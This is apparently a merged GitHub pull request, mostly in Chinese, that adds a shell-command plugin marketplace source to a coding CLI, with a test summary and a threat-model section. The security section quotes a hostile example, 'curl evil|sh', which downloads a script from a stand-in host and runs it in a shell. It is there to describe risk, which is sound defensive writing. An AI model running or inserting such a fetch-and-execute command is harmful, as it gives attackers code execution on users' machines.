Skip to content

feat(plugins): item 24 marketplace command 源 (CC 2.1.229, §140/§216) - #116

Merged
dahai80 merged 1 commit into
mainfrom
feat/item24-marketplace-command-source
Aug 22, 2026
Merged

dahai80 merged 1 commit into
mainfrom
feat/item24-marketplace-command-source

Conversation

@dahai80

@dahai80 dahai80 commented Aug 22, 2026

Copy link
Copy Markdown
Owner

缺口

CC 2.1.229 (enhance-0819.md §140/§216) 新增插件 marketplace command 源 — 本地命令打印插件目录, 每会话重新解析, 无需重启。洞察 (§143): 插件安装从 "git/npm 装" 演进到 "zip+SHA-256 锁定 + command 源"。

fusion-code MarketplaceSourceSchema 现有 source 变体: url/github/git/npm/file/directory/settings + policy-only hostPattern/pathPattern。无 command 变体。

改动

  1. schemas.ts (+17 surgical, 保留原 2-space/no-semi/single-quote 格式) — MarketplaceSourceSchema 加 command 变体 (command: string min 1, cwd?: string optional)。discriminatedUnion 自然支持, 与 directory 变体互斥。
  2. 新 commandSource.ts (~115 行, tab/semi/double-quote 匹配 pluginLoader 惯例) — resolveCommandSource(source): spawn command (execFileNoThrowWithCwd shell:true, 30s timeout), 取 stdout trim 为目录路径, resolve 绝对路径, 验存在且为目录, 返 {directoryPath}。fail-visible: 超时/非零退出/空输出/非目录/不存在路径全 throw。commandSourceToDirectorySource 转 directory 等效 source。isCommandSource type guard。
  3. 新 commandSource.test.ts (193 行, 18 case) — schema parse (合法/带 cwd/空 command/缺字段/变体互斥) + isCommandSource (command/directory/url) + resolveCommandSource 真跑 command (echo tmpdir 正常/换行 trim/非零退出/空输出/非目录文件/不存在路径/cwd pwd) + commandSourceToDirectorySource (directory 对象 + schema 校验)。

不改 (surgical)

  • parseMarketplaceInput.ts — command 源是 marketplace.json/settings 声明, 非用户 plugin marketplace add <input> 路径。
  • addMarketplaceSource stub — 不接 (cloud-only 移除桩, 同其他所有源 directory/file/url/github 等)。schema 真声明 + 独立可测真逻辑, 供未来 stub 补齐时接物化。
  • policy gate (isSourceAllowedByPolicy/isSourceInBlocklist) — command 源无 host/path, 不走 hostPattern/pathPattern, 靠 marketplace-name allowlist (现有 hasEnterprisePolicy + strictAllowlist 已覆盖, command 源 name 未列 → blocked, fail-closed 不变)。
  • reconciler.normalizeSource — command 源无 path 字段不经相对路径解析, 透传。

安全

command 源加 RCE 面 (恶意 marketplace command: "curl evil|sh")。缓解: (1) 同 install-已-run-code 量级 — git clone/npm install/zip postinstall 亦跑任意码; (2) policy gate strictKnownMarketplaces 显式列 marketplace name allowlist 兜底; (3) 命令声明受信源 (marketplace.json/settings, 非用户随意输入); (4) fail-visible (超时/非零/异常目录 throw, 不静默降级)。

验证

  • bun run typecheck — 0 errors
  • bun test src/__tests__/commandSource.test.ts — 18 pass
  • bun test src/__tests__/ — 262 pass, 0 fail (无回归)
  • bun run build:dev + bun run build:dev:full — pass
  • biome check 新文件 — clean

关联

enhance-0819.md item 24, closes #115。

Co-Authored-By: Claude Fable 5 [email protected]

MarketplaceSourceSchema 加 command 变体 (shell 命令 stdout = 插件目录,
每会话重新解析, 无需重启)。新 commandSource.ts: resolveCommandSource
跑命令 → 验目录 → 返 directory 等效 source, fail-visible (超时/非零退出/
空输出/非目录全 throw)。安全同 git/npm/zip install 信任模型 (跑任意码),
靠 strictKnownMarketplaces marketplace-name allowlist policy gate 缓解
(command 源无 host/path, 不走 hostPattern/pathPattern)。

物化执行不接 addMarketplaceSource stub (cloud-only 移除桩, 同其他所有源
directory/file/url/github 等)。schema 真声明 + 独立可测真逻辑, 供未来
stub 补齐时接物化路径。

18 单测: schema parse (合法/空/缺字段/变体互斥) + resolveCommandSource
真跑 command (echo tmpdir 正常/换行 trim/非零退出/空输出/非目录/不存在/
cwd) + commandSourceToDirectorySource 转换。全测 262 pass 无回归。

Closes #115

Co-Authored-By: Claude Fable 5 <[email protected]>
@dahai80
dahai80 merged commit 26dcb91 into main Aug 22, 2026
1 check passed
@dahai80
dahai80 deleted the feat/item24-marketplace-command-source branch August 22, 2026 00:04
dahai80 added a commit that referenced this pull request Aug 22, 2026
Patch release bundling 17 commits since v0.4.23:
- item 15(a) MLX OOM auto-recovery gc+retry (#129)
- #7 one-click diagnostic fixAction framework (#131)
- 维度5 background-default spawn FUSION_SUBAGENT_DEFAULT_BACKGROUND (#127)
- #4 proactive MLX OOM detection via /v1/health (#125)
- item 17 fullscreen pre-compact history + :598 synthetic decouple (#123)
- item 25B workflow stagger fan-out (#122)
- item 21 auto-mode local rule classifier test coverage (#120)
- item 23 archive plugin source + SHA-256 lock (#118)
- item 24 marketplace command source (#116)
- item 6 transcript disk trimming + crash-safe checkpoint (#114)
- item 5 normalizeMessages secondary normalize cache (#112)
- item 19 screen-reader plaintext render (#110)
- item 16 compact retry countdown + stall hint (#108)
- item 25A workflow execution runtime docs (#106)
- item 25A minimal workflow execution runtime (#105)
- item 12 subagent auto-background threshold (#103)
- item 20 vimInsertModeRemaps dual-key INSERT sequence (#101)

Co-Authored-By: Claude Fable 5 <[email protected]>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

feat(plugins): item 24 marketplace command 源 (CC 2.1.229, §140/§216)

1 participant